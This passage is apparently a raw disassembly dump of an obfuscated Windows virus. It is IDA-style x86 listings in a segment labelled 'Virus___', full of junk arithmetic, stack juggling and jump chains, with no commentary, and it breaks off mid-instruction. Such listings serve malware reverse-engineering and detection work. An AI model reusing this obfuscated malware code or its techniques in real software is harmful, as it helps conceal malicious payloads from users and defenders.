2 add edx, 5C4E2BECh add edx, ebx sub edx, 5C4E2BECh pop ebx xchg edx, [esp] pop esp push 6963h mov [esp], ecx push ebx jmp loc_562AD3 ; --------------------------------------------------------------------------- loc_557BF3: ; CODE XREF: Virus___:00562D88j add edx, 4 add edx, 4 jmp loc_550FB7 ; --------------------------------------------------------------------------- loc_557C04: ; CODE XREF: Virus___:0056343Fj add ebx, edx jmp loc_55541E ; --------------------------------------------------------------------------- loc_557C0B: ; CODE XREF: Virus___:0055D066j add esp, 4 add ebp, 4 push esi mov esi, 4 add ebp, 535A6326h sub ebp, 2B863359h add ebp, esi add ebp, 2B863359h jmp loc_55F224 ; --------------------------------------------------------------------------- loc_557C33: ; CODE XREF: Virus___:005504D2j add eax, edi sub eax, 79BE7AF8h push 7C4Ah mov [esp], ecx push 145Bh mov [esp], ebx push 25A15475h pop ebx jmp loc_550C4C ; --------------------------------------------------------------------------- loc_557C55: ; CODE XREF: Virus___:00554ABFj push dword ptr [esp] pop eax jmp loc_54FD76 ; --------------------------------------------------------------------------- loc_557C5E: ; CODE XREF: Virus___:00559B98j add edx, 0DA29B9C3h mov edi, edx pop edx xor edi, 516E132Fh jmp loc_5636DC ; --------------------------------------------------------------------------- loc_557C72: ; CODE XREF: Virus___:00554CD4j add ecx, 4 push eax push 6757h mov [esp], edi mov edi, 11C41F54h add edi, 0B1D6BA6h jmp loc_560297 ; --------------------------------------------------------------------------- loc_557C91: ; CODE XREF: Virus___:0055093Dj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push eax jmp loc_55B169 ; --------------------------------------------------------------------------- loc_557CA2: ; CODE XREF: Virus___:0055F7CBj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 336117F0h sub edx, 1 sub edx, 724F45EEh xor edx, 0BBC183Fh push ebp mov ebp, 11EB4463h sub ebp, 991CD235h or edx, ebp loc_557CE2: ; DATA XREF: sub_545A2B-1A60o jmp loc_56409C ; --------------------------------------------------------------------------- loc_557CE7: ; CODE XREF: Virus___:00561282j pop esp jmp loc_55BAA8 ; --------------------------------------------------------------------------- loc_557CED: ; CODE XREF: Virus___:0055E94Fj push 1F6Ch mov [esp], esi push esp jmp loc_561DB5 ; --------------------------------------------------------------------------- loc_557CFB: ; CODE XREF: Virus___:0055F8CDj add ebp, 20F113D2h pop esi push 0 sub dword ptr [esp], 41DB1F57h sub [esp], ebp jmp loc_557E73 ; --------------------------------------------------------------------------- loc_557D16: ; CODE XREF: Virus___:00554414j xchg esi, [esp] pop esp jmp loc_55F3E8 ; --------------------------------------------------------------------------- loc_557D1F: ; CODE XREF: Virus___:0055AC31j mov cl, 0BAh and ah, cl mov ecx, [esp] add esp, 4 add ah, 4 jmp loc_563308 ; --------------------------------------------------------------------------- loc_557D34: ; CODE XREF: Virus___:0055645Fj pop ebp push ebx mov ebx, 6E723382h sub ebx, 6A23DE5Ch sub eax, ebx pop ebx push esi mov esi, 0E4F59F9h push eax mov eax, 630622ADh xor esi, eax pop eax xor esi, 4F753C2Dh add esi, 0DFF8E9DFh add eax, 41A426C8h jmp loc_5546A1 ; --------------------------------------------------------------------------- loc_557D69: ; CODE XREF: Virus___:005508C5j push ecx mov ecx, 72630535h or ecx, 460919D6h dec ecx dec ecx push esi jmp loc_55B56E ; --------------------------------------------------------------------------- loc_557D7D: ; CODE XREF: Virus___:00556FD5j pop esi add esi, ebx pop ebx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, 6FAD12D5h add ecx, 0EEC689Ah add ecx, 81668495h push ecx pop eax pop ecx sub esi, 14DB6BECh add esi, 61FC1E02h add esi, eax sub esi, 61FC1E02h jmp loc_551C81 ; --------------------------------------------------------------------------- loc_557DC6: ; CODE XREF: Virus___:0055A6F2j mov [esp], ebx push 1766h mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx jmp loc_55B092 ; --------------------------------------------------------------------------- loc_557DE0: ; CODE XREF: Virus___:0055866Fj sub edi, 6855833h pop ecx sub esp, 4 mov [esp], edi jmp loc_551BF9 ; --------------------------------------------------------------------------- loc_557DF2: ; CODE XREF: Virus___:00558E7Fj pop ebp push edi mov edi, 14341532h xor esi, edi pop edi push esi sub dword ptr [esp], 0F202858h pop edi add edi, 0F202858h mov esi, [esp] add esp, 4 sub edx, 36440939h jmp loc_55AEA1 ; --------------------------------------------------------------------------- loc_557E1F: ; CODE XREF: Virus___:0054F905j push ebx mov ebx, esp add ebx, 4 sub esp, 4 jmp loc_55B5FF ; --------------------------------------------------------------------------- loc_557E30: ; CODE XREF: Virus___:0055E729j xor ecx, ebx jmp loc_557A19 ; --------------------------------------------------------------------------- loc_557E37: ; CODE XREF: Virus___:005606A5j sub al, bh mov ebx, [esp] jmp loc_556BE0 ; --------------------------------------------------------------------------- loc_557E41: ; CODE XREF: Virus___:00562A69j push eax jmp loc_55295D ; --------------------------------------------------------------------------- loc_557E47: ; CODE XREF: Virus___:00563F05j xor edx, 64D6D25Fh add esi, edx push dword ptr [esp] pop edx jmp loc_561D5D ; --------------------------------------------------------------------------- loc_557E58: ; CODE XREF: Virus___:005560F9j add esp, 4 push 7A5Ch mov [esp], edi jmp loc_55EC50 ; --------------------------------------------------------------------------- loc_557E6B: ; CODE XREF: Virus___:005583D8j push dword ptr [esp] jmp loc_55CFD3 ; --------------------------------------------------------------------------- loc_557E73: ; CODE XREF: Virus___:00557D11j add dword ptr [esp], 41DB1F57h mov ebp, [esp] push edx jmp loc_560D2C ; --------------------------------------------------------------------------- loc_557E83: ; CODE XREF: Virus___:0055217Aj mov esp, [esp] jmp loc_563B04 ; --------------------------------------------------------------------------- loc_557E8B: ; CODE XREF: Virus___:00550F4Dj sub dword ptr [esp], 67DD35DAh pop edx sub esp, 4 jmp loc_55F141 ; --------------------------------------------------------------------------- loc_557E9E: ; CODE XREF: Virus___:0055117Dj push 2B08h jmp loc_551D85 ; --------------------------------------------------------------------------- loc_557EA8: ; CODE XREF: Virus___:0055A434j pop ebp add esi, 5BC2650Ch add esi, ebp push ebp jmp loc_555A35 ; --------------------------------------------------------------------------- loc_557EB7: ; CODE XREF: Virus___:0055BF8Cj mov ebx, 41293BFAh add ebx, 3A8258DAh jmp loc_56266E ; --------------------------------------------------------------------------- loc_557EC7: ; CODE XREF: Virus___:005649ABj mov ecx, 14D77E24h shl ecx, 1 neg ecx shr ecx, 4 dec ecx shr ecx, 5 xor ecx, 4BC379BEh sub [esp+8], ecx pop ecx push dword ptr [esp] mov ebx, [esp] jmp loc_5593A0 ; --------------------------------------------------------------------------- loc_557EED: ; CODE XREF: Virus___:0055625Bj add ebp, 2B40AABAh push edx mov edx, 42E527DAh jmp loc_560AFF ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_559369 ; --------------------------------------------------------------------------- loc_557F06: ; CODE XREF: Virus___:0055CCC1j mov esp, [esp] push ebx mov ebx, esp push edi jmp loc_553601 ; --------------------------------------------------------------------------- loc_557F12: ; CODE XREF: Virus___:00554788j mov [esp], eax mov eax, 25BD6103h and eax, 600E1A9Ah or eax, 254214E7h jmp loc_561497 ; --------------------------------------------------------------------------- loc_557F29: ; CODE XREF: Virus___:005537F4j sub cl, ah jmp loc_552E9A ; --------------------------------------------------------------------------- loc_557F30: ; CODE XREF: Virus___:0055971Ej sub esp, 4 mov [esp], ebp jmp loc_55884C ; --------------------------------------------------------------------------- loc_557F3B: ; CODE XREF: Virus___:0055B5E0j pop eax jmp loc_55A1C8 ; --------------------------------------------------------------------------- loc_557F41: ; CODE XREF: Virus___:00553B4Dj push ecx push 8A8578Eh jmp loc_55DBF9 ; --------------------------------------------------------------------------- loc_557F4C: ; CODE XREF: Virus___:0056020Fj add ax, cx sub ax, 4C18h mov cx, [esp] jmp loc_562ABF ; --------------------------------------------------------------------------- loc_557F5C: ; CODE XREF: Virus___:0055820Cj pop ebx add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp jmp loc_5647F1 ; --------------------------------------------------------------------------- loc_557F6B: ; CODE XREF: Virus___:00553945j mov [esp], edx mov dh, 0F0h sub dh, 0FFh sub esp, 4 mov [esp], edx neg byte ptr [esp+1] pop edx push eax push ebx jmp loc_559F8F ; --------------------------------------------------------------------------- loc_557F85: ; CODE XREF: Virus___:00553E4Cj add esp, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] add [esp], eax pushf jmp loc_555E91 ; --------------------------------------------------------------------------- loc_557FA4: ; CODE XREF: Virus___:0055D28Ej mov [esp], esi mov esi, 505C28C1h push ecx mov ecx, esp add ecx, 4 jmp loc_55D900 ; --------------------------------------------------------------------------- loc_557FBA: ; CODE XREF: Virus___:005645F4j add bl, 1Eh push small 1B39h mov [esp], cx push edx jmp loc_5602E7 ; --------------------------------------------------------------------------- loc_557FCB: ; CODE XREF: Virus___:005624CBj or ebp, ecx pop ecx inc ebp jmp loc_5502DE ; --------------------------------------------------------------------------- loc_557FD4: ; CODE XREF: Virus___:0055E392j pop esp mov [esp], ax jmp loc_5577F5 ; --------------------------------------------------------------------------- loc_557FDE: ; CODE XREF: Virus___:00562CF1j push ebp mov ebp, 6CBD778Ah push 34BCh mov [esp], esi push edi push 5FC26ECFh pop edi shr edi, 1 sub edi, 14E62A10h shr edi, 1 jmp loc_556125 ; --------------------------------------------------------------------------- loc_558002: ; CODE XREF: Virus___:005527C7j sub edx, 5FC21C5Ch jmp loc_54FEF3 ; --------------------------------------------------------------------------- loc_55800D: ; CODE XREF: Virus___:0054FA41j sub eax, 1 dec eax push 5BD5h mov [esp], esi jmp loc_561FAE ; --------------------------------------------------------------------------- loc_558020: ; CODE XREF: Virus___:0055E34Dj xor [esp], ebp xor ebp, [esp] xor [esp], ebp sub esp, 4 mov [esp], ebp push ecx jmp loc_55E8D1 ; --------------------------------------------------------------------------- loc_558035: ; CODE XREF: Virus___:0055A68Bj mov [esp], eax jmp loc_560EED ; --------------------------------------------------------------------------- loc_55803D: ; CODE XREF: Virus___:005603D9j xor esi, 4DEF0504h sub esi, 0A6DE135Bh or edi, esi jmp loc_5523EF ; --------------------------------------------------------------------------- loc_558050: ; CODE XREF: Virus___:00552D15j xchg eax, [esp] pop esp dec ebp push 62D8h mov [esp], ecx mov ecx, 5D6272F9h xor ebp, ecx pop ecx mov edi, ebp jmp loc_559497 ; --------------------------------------------------------------------------- loc_55806C: ; CODE XREF: Virus___:0055CC1Aj shl edx, 1 push 7701h mov [esp], eax push ecx mov ecx, 24h jmp loc_560AAF ; --------------------------------------------------------------------------- loc_558081: ; CODE XREF: Virus___:00552194j add esp, 4 add ebx, 4 jmp loc_55BE57 ; --------------------------------------------------------------------------- loc_55808F: ; CODE XREF: Virus___:00556A55j add edx, 184414DAh sub ecx, edx pop edx add ecx, 0F7310664h mov edx, ecx jmp loc_55E974 ; --------------------------------------------------------------------------- loc_5580A5: ; CODE XREF: Virus___:0055223Ej mov [esp], ecx push ebx push 7FD1EB4h pop ebx jmp loc_5515DA ; --------------------------------------------------------------------------- loc_5580B4: ; CODE XREF: Virus___:0055BF3Bj sub al, 19h jmp loc_559B46 ; --------------------------------------------------------------------------- loc_5580BB: ; CODE XREF: Virus___:00555B96j add ebx, 4 push eax mov eax, 4 push ebp push edi jmp loc_559237 ; --------------------------------------------------------------------------- loc_5580CE: ; CODE XREF: Virus___:00564917j shr esi, 4 add esi, 1BAB7CF8h xor esi, 22E2006Ah xor eax, esi pop esi mov esi, eax pop eax mov ebx, esi pop esi add eax, ebx mov ebx, [esp] sub esp, 4 jmp loc_55638B ; --------------------------------------------------------------------------- loc_5580F3: ; CODE XREF: Virus___:005629E4j pop ecx sub edi, 224C105Bh add edi, 1C320C1Bh sub ebx, edi mov edi, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], esp sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_55937E ; --------------------------------------------------------------------------- loc_558127: ; CODE XREF: Virus___:00553777j push edi jmp loc_56141C ; --------------------------------------------------------------------------- loc_55812D: ; CODE XREF: Virus___:0055C450j mov ecx, 4 add eax, ecx pop ecx sub eax, 4 xchg eax, [esp] jmp loc_554628 ; --------------------------------------------------------------------------- loc_558142: ; CODE XREF: Virus___:005606C1j push edx mov dl, 6Eh jmp loc_55D217 ; --------------------------------------------------------------------------- loc_55814A: ; CODE XREF: Virus___:005588BFj mov bx, [esp] jmp loc_5555D5 ; --------------------------------------------------------------------------- loc_558153: ; CODE XREF: Virus___:0055D40Fj pop ecx mov dx, [esp] jmp loc_55D507 ; --------------------------------------------------------------------------- loc_55815D: ; CODE XREF: Virus___:005624B8j xor ch, 6 sub ch, 0BCh add al, ch jmp loc_5640D9 ; --------------------------------------------------------------------------- loc_55816A: ; CODE XREF: Virus___:00561D47j pop eax pop edx or ebx, esi mov esi, [esp] jmp loc_553D94 ; --------------------------------------------------------------------------- loc_558176: ; CODE XREF: Virus___:0055E6F9j pop ecx add edx, ebp jmp loc_5626D6 ; --------------------------------------------------------------------------- loc_55817E: ; CODE XREF: Virus___:005560FFj xchg edi, [esp] not edi jmp loc_559CE4 ; --------------------------------------------------------------------------- loc_558188: ; CODE XREF: Virus___:0055C4C5j mov edi, 0ECC366Ch dec edi jmp loc_550F5E ; --------------------------------------------------------------------------- loc_558193: ; CODE XREF: Virus___:00560697j push 7982h mov [esp], ebx push esp pop ebx add ebx, 4 push eax jmp loc_55C8BE ; --------------------------------------------------------------------------- loc_5581A9: ; CODE XREF: Virus___:0055F29Fj mov eax, [esp] jmp loc_55BF7D ; --------------------------------------------------------------------------- loc_5581B1: ; CODE XREF: Virus___:0055742Aj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5613E5 ; --------------------------------------------------------------------------- loc_5581C5: ; CODE XREF: Virus___:00558801j add esp, 4 push ecx jmp loc_55DEDA ; --------------------------------------------------------------------------- loc_5581D1: ; CODE XREF: Virus___:0055C2FCj add ecx, 4 jmp loc_5517BE ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_55C158 ; --------------------------------------------------------------------------- loc_5581E7: ; CODE XREF: Virus___:0055C2F6j mov dl, bh pop ebx pop ecx shr dl, 7 shr dl, 7 shr dl, 7 add dl, 82h push small 3B68h mov [esp], bx mov bh, 0DCh add al, 0Ch sub al, bh jmp loc_55E76E ; --------------------------------------------------------------------------- loc_55820A: ; CODE XREF: Virus___:00560633j push ebx pop edx jmp loc_557F5C ; --------------------------------------------------------------------------- loc_558211: ; CODE XREF: Virus___:0055F0A4j pop eax add esp, 4 mov edx, [esp] add esp, 4 shr eax, 8 push ecx push eax mov eax, 5217185h mov ecx, 5217184h jmp loc_55D52C ; --------------------------------------------------------------------------- loc_558232: ; CODE XREF: Virus___:0055EC67j pop ecx push ebp neg dword ptr [esp] pop ebp sub ebp, 90FD5484h add edi, ebp pop ebp push ebx mov ebx, 2 add edi, ebx jmp loc_55EF5F ; --------------------------------------------------------------------------- loc_55824E: ; CODE XREF: Virus___:00555C26j push edi push ebx push eax push 29863026h pop eax neg eax add eax, 86325E1Dh jmp loc_55014C ; --------------------------------------------------------------------------- loc_558263: ; CODE XREF: Virus___:00558335j mov esp, [esp] jmp loc_561451 ; --------------------------------------------------------------------------- loc_55826B: ; CODE XREF: Virus___:0056288Ej add ebx, ebp sub ebx, 75A07B72h pop ebp push ecx mov ecx, 7A152561h push edi mov edi, 2BF36EE1h or ecx, edi pop edi push ebp jmp loc_556716 ; --------------------------------------------------------------------------- loc_558289: ; CODE XREF: Virus___:00557013j add esp, 4 add esp, 4 sub [edi+24h], esi mov esi, [esp] add esp, 4 loc_558298: ; CODE XREF: Virus___:00556879j push ebx jmp loc_55E6BC ; --------------------------------------------------------------------------- loc_55829E: ; CODE XREF: Virus___:0055BC79j xor cx, dx xor dx, cx xchg di, cx not di xchg di, cx xchg cx, dx push dx push small word ptr [esp+2] pop dx pop small word ptr [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5582C2: ; CODE XREF: Virus___:00551DBBj mov cl, 0CBh neg cl xor cl, 8Eh sub al, 0F1h jmp loc_56076D ; --------------------------------------------------------------------------- loc_5582D0: ; CODE XREF: Virus___:00550FB2j mov [esp], ebx jmp loc_555AD5 ; --------------------------------------------------------------------------- loc_5582D8: ; CODE XREF: Virus___:00560589j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 jmp loc_55E32A ; --------------------------------------------------------------------------- loc_5582F2: ; CODE XREF: Virus___:00556632j mov ebx, 4 add esi, ebx jmp loc_55A737 ; --------------------------------------------------------------------------- loc_5582FE: ; CODE XREF: Virus___:00554B26j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_553A61 ; --------------------------------------------------------------------------- loc_55830F: ; CODE XREF: Virus___:0055169Bj sub ebx, 63594842h pop edi push esi push ebx xor dword ptr [esp], 13320371h pop esi xor esi, 13320371h mov ecx, esi pop esi pop ebx add edx, ecx pop ecx jmp loc_5549E5 ; --------------------------------------------------------------------------- loc_558332: ; CODE XREF: Virus___:0055EC4Bj pop dword ptr [esp] jmp loc_558263 ; --------------------------------------------------------------------------- loc_55833A: ; CODE XREF: Virus___:0055BD41j mov bh, cl pop ecx jmp loc_562BF7 ; --------------------------------------------------------------------------- loc_558342: ; CODE XREF: Virus___:005553CDj xor edi, 635E05F6h add edi, 438C10B6h xor edi, 7024218h xor [esp+4], edi pop edi jmp loc_553238 ; --------------------------------------------------------------------------- loc_55835E: ; CODE XREF: Virus___:00563FDAj sub esi, ecx pop ecx jmp loc_54FB3D ; --------------------------------------------------------------------------- loc_558366: ; CODE XREF: Virus___:005537C9j add ebx, 4 push ebp jmp loc_55E05C ; --------------------------------------------------------------------------- loc_558372: ; CODE XREF: Virus___:00564A3Cj sub esi, 0FA298960h add edi, esi pop esi mov edx, edi pop edi jmp loc_55A5D6 ; --------------------------------------------------------------------------- loc_558383: ; CODE XREF: Virus___:00559C00j mov edx, 610C21E8h xor edx, 4FF56F6Dh shl edx, 5 sub esp, 4 mov [esp], ebp mov ebp, 4B6203F9h neg ebp push ecx mov ecx, 23140FD0h and ebp, ecx pop ecx push 6847h mov [esp], ebp not dword ptr [esp] pop ebp xor ebp, 0C2235Bh xor edx, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 17C66875h add edi, 73A6272Fh jmp loc_561AD8 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_557E6B ; --------------------------------------------------------------------------- loc_5583DD: ; CODE XREF: Virus___:0054FA84j mov ebp, 27B53C31h add esi, ebp pop ebp add esi, ebx jmp loc_556D14 ; --------------------------------------------------------------------------- loc_5583EC: ; CODE XREF: Virus___:0055F15Aj mov ebx, esp add ebx, 4 add ebx, 4 push 1463h jmp loc_5591E5 ; --------------------------------------------------------------------------- loc_558401: ; CODE XREF: Virus___:0055ED05j sub ebp, ecx mov ecx, [esp] add esp, 4 not ebp push 1147h mov [esp], eax mov eax, 723C32D4h xor ebp, eax jmp loc_55B002 ; --------------------------------------------------------------------------- loc_55841F: ; CODE XREF: Virus___:00562C8Bj push 6CBAh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55FC38 ; --------------------------------------------------------------------------- loc_558437: ; CODE XREF: Virus___:0054FDC7j add al, 5Dh add dh, al pop eax sub ch, 90h sub ch, 2Fh jmp loc_55910D ; --------------------------------------------------------------------------- loc_558447: ; CODE XREF: Virus___:00556624j mov esi, esp add esi, 4 jmp loc_5500D9 ; --------------------------------------------------------------------------- loc_558454: ; CODE XREF: Virus___:00555B78j mov [esp], esi mov esi, 34220898h jmp loc_5576C0 ; --------------------------------------------------------------------------- loc_558461: ; CODE XREF: Virus___:0055BE07j push 58150CB8h pop esi and esi, 16CA77FEh or esi, 6F915B63h jmp loc_556946 ; --------------------------------------------------------------------------- loc_558478: ; CODE XREF: Virus___:0055A232j add esi, 0D32F87DEh and ecx, esi jmp loc_55BE6D ; --------------------------------------------------------------------------- loc_558485: ; CODE XREF: Virus___:0054FA8Bj xor ah, 0B1h xor bl, ah pop eax sub esp, 4 mov [esp], ecx jmp loc_553A3D ; --------------------------------------------------------------------------- loc_558499: ; CODE XREF: Virus___:005627D1j add ebp, ebx pop ebx neg ebp jmp loc_552809 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55D942 ; --------------------------------------------------------------------------- loc_5584AC: ; CODE XREF: Virus___:00564042j inc edi jmp loc_555BE3 ; --------------------------------------------------------------------------- loc_5584B2: ; CODE XREF: Virus___:00552BEAj shl al, 5 or al, 0F9h dec al jmp loc_561168 ; --------------------------------------------------------------------------- loc_5584BE: ; CODE XREF: Virus___:00556915j xchg ebx, [esp] not ebx xchg ebx, [esp] pop eax sub esp, 4 jmp loc_55DB70 ; --------------------------------------------------------------------------- loc_5584CF: ; CODE XREF: Virus___:00562915j mov edi, esp jmp loc_5512EE ; --------------------------------------------------------------------------- loc_5584D6: ; CODE XREF: Virus___:005609AEj mov ah, 0F4h add bl, ah pop ax push eax jmp loc_55C6B8 ; --------------------------------------------------------------------------- loc_5584E2: ; CODE XREF: Virus___:005626C0j add eax, 4 xchg eax, [esp] pop esp mov edx, 1DE56273h xor edx, ecx pop ecx jmp loc_55144C ; --------------------------------------------------------------------------- loc_5584F8: ; CODE XREF: Virus___:00556596j pop ecx jmp loc_55E36C ; --------------------------------------------------------------------------- loc_5584FE: ; CODE XREF: Virus___:0054FFD8j sub esp, 4 mov [esp], edx add dword ptr [esp], 2744E56h pop eax sub eax, 2744E56h mov edx, [esp] push ebx push 2B30h mov [esp], esp jmp loc_55F6CD ; --------------------------------------------------------------------------- loc_558525: ; CODE XREF: Virus___:00559A6Aj sub esp, 4 mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 push ebp mov ebp, 7D76785h inc ebp jmp loc_5609B3 ; --------------------------------------------------------------------------- loc_558544: ; CODE XREF: Virus___:0055CAA1j push edi not dword ptr [esp] pop edi xchg edi, ecx xor ecx, 67ED7D43h xor edi, ecx mov ecx, [esp] add esp, 4 jmp loc_555CA4 ; --------------------------------------------------------------------------- lodsb push ebx jmp loc_558F5E ; --------------------------------------------------------------------------- loc_558565: ; CODE XREF: Virus___:00554C14j mov edx, [esp] add esp, 4 sub ebx, 5D2D79F9h add ebx, 18E20615h add ebx, ebp push esi jmp loc_55981B ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_55F942 ; --------------------------------------------------------------------------- loc_55859A: ; CODE XREF: Virus___:0055CBDAj xor ebp, 240C0579h xor ebp, 7E820B8Fh jmp loc_557A31 ; --------------------------------------------------------------------------- loc_5585AB: ; CODE XREF: Virus___:00554E3Dj push edi jmp loc_55B65D ; --------------------------------------------------------------------------- loc_5585B1: ; CODE XREF: Virus___:0055492Bj pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] xor eax, esi xor esi, eax jmp loc_552678 ; --------------------------------------------------------------------------- loc_5585D3: ; CODE XREF: Virus___:0055D9FDj pop ebp jmp loc_55B0A0 ; --------------------------------------------------------------------------- loc_5585D9: ; CODE XREF: Virus___:00553DA2j mov ebx, [esp] jmp loc_5600C0 ; --------------------------------------------------------------------------- loc_5585E1: ; CODE XREF: Virus___:0055282Aj push dword ptr [esp] pop eax push 44A4h mov [esp], esi push esp pop esi add esi, 4 push ecx jmp loc_55D6F4 ; --------------------------------------------------------------------------- loc_5585FB: ; CODE XREF: Virus___:00560087j pop ebx push 5ABEh mov [esp], edi sub esp, 4 mov [esp], edx mov edx, 78A87755h sub edx, 1C342363h xor edx, 77FA06B3h add edx, 0E6CAEFF9h sub edx, 35131D29h sub edx, 0DD46280Fh mov edi, edx pop edx add esi, edi pop edi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi jmp loc_561B74 ; --------------------------------------------------------------------------- loc_55864E: ; CODE XREF: Virus___:0055D178j mov edi, [esp] jmp loc_55B829 ; --------------------------------------------------------------------------- loc_558656: ; CODE XREF: Virus___:0054F88Fj mov [esp], esi mov esi, 4 add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp jmp loc_5611F9 ; --------------------------------------------------------------------------- loc_55866D: ; CODE XREF: Virus___:00550C47j add edi, ecx jmp loc_557DE0 ; --------------------------------------------------------------------------- loc_558674: ; CODE XREF: Virus___:00555B27j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_55CE63 ; --------------------------------------------------------------------------- loc_558685: ; CODE XREF: Virus___:00552F04j push ebx jmp loc_55B2CB ; --------------------------------------------------------------------------- loc_55868B: ; CODE XREF: Virus___:005560BEj neg bl xor bl, 72h not bl sub bl, 7Eh sub bl, 78h xor bl, 0CCh xor al, bl pop ebx jmp loc_564B15 ; --------------------------------------------------------------------------- loc_5586A3: ; CODE XREF: Virus___:005623E2j add esp, 4 jmp loc_564A41 ; --------------------------------------------------------------------------- loc_5586AE: ; CODE XREF: Virus___:00558756j add esp, 4 mov ecx, [esp] jmp loc_5510E7 ; --------------------------------------------------------------------------- loc_5586B9: ; CODE XREF: Virus___:00550C9Fj not byte ptr [esp+1] pop cx jmp loc_55EC30 ; --------------------------------------------------------------------------- loc_5586C4: ; CODE XREF: Virus___:0056241Dj pop eax mov ecx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55CFDE ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp push 3353h mov [esp], edi push ecx push eax jmp loc_5572EE ; --------------------------------------------------------------------------- loc_5586FE: ; CODE XREF: Virus___:00556221j add esp, 4 pop dword ptr [esp] pop esp jmp loc_563E6A ; --------------------------------------------------------------------------- loc_55870A: ; CODE XREF: Virus___:0055F8C0j pop eax push eax mov eax, 4 sub ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_563465 ; --------------------------------------------------------------------------- loc_558723: ; CODE XREF: Virus___:005634D7j push ecx jmp loc_560D41 ; --------------------------------------------------------------------------- loc_558729: ; CODE XREF: Virus___:00553FE3j sub eax, edi pop edi jmp loc_562FBD ; --------------------------------------------------------------------------- loc_558731: ; CODE XREF: Virus___:0055788Bj add esp, 4 add dword ptr [esp+4], 23FA7440h sub [esp+4], edi push 5C7Fh mov [esp], eax mov eax, 23FA7440h sub [esp+8], eax pop eax push dword ptr [esp] pop edi jmp loc_5586AE ; --------------------------------------------------------------------------- loc_55875B: ; CODE XREF: Virus___:0055B593j add ecx, 7949739Eh pop ebp push ecx jmp loc_55499C ; --------------------------------------------------------------------------- loc_558768: ; CODE XREF: Virus___:00554968j mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], esi mov esi, 4 push edx mov edx, 64800296h add ebp, edx pop edx add ebp, 9C008FCh sub ebp, esi sub ebp, 9C008FCh sub ebp, 64800296h mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 1928B719h xor edx, ecx push dword ptr [esp] pop ecx add esp, 4 add eax, 0B98424Ah sub eax, edx jmp loc_54FD46 ; --------------------------------------------------------------------------- loc_5587C4: ; CODE XREF: Virus___:005629A3j shl dl, 6 xor dl, 1 push ebx mov bl, 0FEh jmp loc_552AFA ; --------------------------------------------------------------------------- loc_5587D2: ; CODE XREF: Virus___:00562307j inc ebp shl ebp, 7 not ebp sub ebp, 3DFB0094h jmp loc_55137B ; --------------------------------------------------------------------------- loc_5587E3: ; CODE XREF: Virus___:0055E042j sub ebx, 5E1E00F4h dec ebx not ebx jmp loc_55B867 ; --------------------------------------------------------------------------- loc_5587F1: ; CODE XREF: Virus___:00550E02j xchg ebp, [esp] mov esp, [esp] jmp loc_555523 ; --------------------------------------------------------------------------- loc_5587FC: ; CODE XREF: Virus___:0055E1A9j sub edx, eax mov eax, [esp] jmp loc_5581C5 ; --------------------------------------------------------------------------- loc_558806: ; CODE XREF: Virus___:00554F3Aj pop dword ptr [esp] jmp loc_55A519 ; --------------------------------------------------------------------------- loc_55880E: ; CODE XREF: Virus___:005615D8j shr ebp, 6 jmp loc_54F83F ; --------------------------------------------------------------------------- loc_558816: ; CODE XREF: Virus___:00553E6Dj neg esi jmp loc_55CBAB ; --------------------------------------------------------------------------- loc_55881D: ; CODE XREF: Virus___:00560E51j mov edx, ebx pop ebx jmp loc_555029 ; --------------------------------------------------------------------------- loc_558825: ; CODE XREF: Virus___:005546D3j mov bl, dh inc bl jmp loc_552BE4 ; --------------------------------------------------------------------------- loc_55882E: ; CODE XREF: Virus___:0056460Cj sub ecx, 68E75DA3h mov eax, ecx jmp loc_54FFCF ; --------------------------------------------------------------------------- loc_55883B: ; CODE XREF: Virus___:00552F38j push ecx jmp loc_55B031 ; --------------------------------------------------------------------------- loc_558841: ; CODE XREF: Virus___:00551381j sub ebp, 0A0A2966h jmp loc_55E156 ; --------------------------------------------------------------------------- loc_55884C: ; CODE XREF: Virus___:00557F36j push edi mov edi, 4 jmp loc_557310 ; --------------------------------------------------------------------------- push esi mov esi, esp add esi, 4 sub esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], dx push small word ptr [esp+2] mov dx, [esp] sub esp, 4 mov [esp], ebx push esp jmp loc_559DC9 ; --------------------------------------------------------------------------- loc_558886: ; CODE XREF: Virus___:00563B96j inc esi neg esi neg esi shl esi, 8 xor esi, 0F39B5F4Dh push edx mov edx, esi mov eax, edx jmp 